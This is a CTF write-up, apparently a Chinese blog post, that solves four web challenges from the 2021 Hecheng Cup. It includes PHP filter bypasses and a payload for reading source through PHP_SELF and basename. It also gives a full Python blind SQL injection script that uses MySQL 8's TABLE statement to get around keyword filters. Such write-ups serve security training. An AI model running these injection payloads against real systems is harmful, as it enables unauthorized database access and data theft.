2021 鹤城杯

2021 鹤城杯

middle_magic

源码:

<?php
    highlight_file(__FILE__);
    include "./flag.php";
    include "./result.php";
    if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

        $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

        if(preg_match('/pass_the_level_1#/', $aaa)){
            echo "here is level 2";

            if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
                if ($_POST['admin'] == $_POST['root_pwd'])
                    echo '<p>The level 2 can not pass!</p>';
            // START FORM PROCESSING    
                else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
                    echo "here is level 3,do you kown how to overcome it?";
                    if (isset($_POST['level_3'])) {
                        $level_3 = json_decode($_POST['level_3']);

                        if ($level_3->result == $result) {

                            echo "success:".$flag;
                        }
                        else {
                            echo "you never beat me!";
                        }
                    }
                    else{
                        echo "out";
                    }
                }
                else{

                    die("no");
                }
            // perform validations on the form data
            }
            else{
                echo '<p>out!</p>';
            }

        }

        else{
            echo 'nonono!';
        }

        echo '<hr>';
    }

?>

第一层

首先是得绕过正则匹配,这里用到了换行绕过,如果正则表达式没有使用多行模式(m),那么就存在被绕过的可能

image-20211008215251214

然后是#在参数里面并不会传递,需要被编码成%23

第二层

第二层考了老生常谈的哈希函数无法处理数组的特性,直接使用两个空数组绕过即可。

第三层

最后一层考了PHP中的json_decode()函数返回的内容和字符串比较的漏洞,也不知道为啥,利用方式为0 == "string"

最终payload:

?aaa=pass_the_level_1%23%0Aa
admin[]=1&root_pwd[]=2&level_3={"result":0}

easy_sql_2

image-20211008164216388

首先尝试弱密码username = admin,password = admin能够成功登陆且没有然和有用内容返回,但是我们需要的是查询表里面的数据。

fuzz之后发现过滤了部分字符:

like union select insert delete alter create -- if handler file system show_source tables ; 空格

这里的关键是过滤了select;这两个字符,只能够使用 mysql 8.0 版本新的命令table进行盲注。

原理

  • TABLE
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

该命令相当于SELECT * FROM table_name,example:

mysql> table users;
+----------+----------+
| username | password |
+----------+----------+
| John     | 123456   |
| admin    | abcdef   |
+----------+----------+
2 rows in set (0.00 sec)

本题的思路就是利用TABLE命令查询到的内容和构造的内容进行比较,比较的结果返回1或0,从而进行盲注,example:

mysql> select ('John','12345')<(table users limit 1);
+----------------------------------------+
| ('John','12345')<(table users limit 1) |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)

mysql> select ('John','123456')<(table users limit 1);
+-----------------------------------------+
| ('John','123456')<(table users limit 1) |
+-----------------------------------------+
|                                       0 |
+-----------------------------------------+
1 row in set (0.00 sec)

步骤

  • 首先我们要知道库名

通过查 information_schema.schemata 表能知道数据库中所有的库

mysql> table information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def          | mysql              | utf8mb4                    | utf8mb4_unicode_520_ci     |     NULL | NO                 |
| def          | information_schema | utf8                       | utf8_general_ci        |     NULL | NO                 |
| def          | performance_schema | utf8mb4                    | utf8mb4_unicode_520_ci     |     NULL | NO                 |
| def          | sys                | utf8mb4                    | utf8mb4_unicode_520_ci     |     NULL | NO                 |
| def          | ctf                | utf8mb4                    | utf8mb4_unicode_520_ci     |     NULL | NO                 |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
5 rows in set (0.01 sec)

可以看出一般情况下新建的数据库是在该表的第四行,而且每一行的第一个字段的值都是def,因此构造:

('def','{flag+chr(ascii)}','~','~','~','~')>(table information_schema.schemata limit 4,1)
  • 知道库名之后查询表名

通过查询mysql.innodb_table_stats能知道数据库中对应所拥有的表。

mysql> table mysql.innodb_table_stats;
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name    | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
| ctf           | users         | 2021-09-16 10:44:38 |      2 |                    1 |                        0 |
| mysql         | component     | 2021-07-26 16:39:20 |      0 |                    1 |                        0 |
| mysql         | gtid_executed | 2021-07-26 16:39:20 |      0 |                    1 |                        0 |
| sys           | sys_config    | 2021-07-26 16:39:21 |      6 |                    1 |                        0 |
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
4 rows in set (0.00 sec)

这里首先查询库名的原因是这个表返回的字段是库名先,然后再表名,因此得先注出第一个字段(库名),才能注第二个字段(表名)。

('ctf','{flag+chr(ascii)}','2021-04-30 21:15:31',0,0,0)>(table mysql.innodb_table_stats limit 1,1)
  • 最后是查数据

完整的EXP:

import requests

url='http://182.116.62.85:26571/login.php'
flag=''



for i in range(1,100):
    for ascii in range(32,127):

        # STEP 1:查库名
        # data={"password":"admin","username":f"'/**/or/**/('def','{flag+chr(ascii)}','~','~','~','~')>=(table information_schema.schemata limit 4,1)#".replace(' ','/**/')}
        # 查出表名为 ctf

        # STEP 2:查表名
        # data={"password":"admin","username":f"'/**/or/**/('ctf','{flag+chr(ascii)}','2021-04-30 21:15:31',0,0,0)>=(table mysql.innodb_table_stats limit 1,1)#".replace(' ','/**/')}
        # 查出表名为 fl11aag

        # STEP 3:查数据
        select='(table ctf.fl11aag limit 1,1)'.replace(' ','/**/')
        # data={"password":"admin","username":f"'/**/or/**/ascii(substr(({select}),{i},1))={ascii}#"}

        response=requests.post(url,data=data)
        # print(data,response.text)

        # 注入成功的话会返回登陆成功,因此以success字符作为注入成功的标识
        if 'success' in response.text:
            flag+=chr(ascii)
            print(flag)
            break
        if ascii==127:
            exit(0)

EasyP

源码:

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?>

由于我们不知道$secert变量的值,因此上面传guess的参数是没用的,需要从下面入手。我们的目的是读取 utils.php 的内容来知道$serect的值。

$_SERVER[‘REQUEST_URI’]

$_SERVER['QUERY_STRING']$_SERVER['REQUEST_URI']在传输时不会url解码,而$_GET,$_POST会url解码,因此我们可以url编码绕过第二个正则表达式,即%73how_source

$_SERVER[‘PHP_SELF’]

  • $_SERVER['PHP_SELF']

表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关,即返回域名后面的内容

  • basename()
basename ( string $path [, string $suffix ] ) : string

给出一个包含有指向一个文件的全路径的字符串,本函数返回基本的文件名。

注意:该函数会去掉文件名开头的非ASCII值(%80—%ff)

如果是/index.php/utils.php/,则$_SERVER['PHP_SELF']返回/index.php/utils.php/,即/index.php/utils.php运行的是index.php,但是basename()获取到的是utils.php

最后是利用在utils.php/后面加上%80,然后在basename()会被去掉这个原理去绕过第一个正则匹配。

example:

image-20211008223245807

最终payload:

/index.php/utils.php/%80?%73how_source

Spring

这直接是一个Spring框架的CVE-2017-4971

漏洞复现-CVE-2017-4971-Spring Web Flow 远程代码执行

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇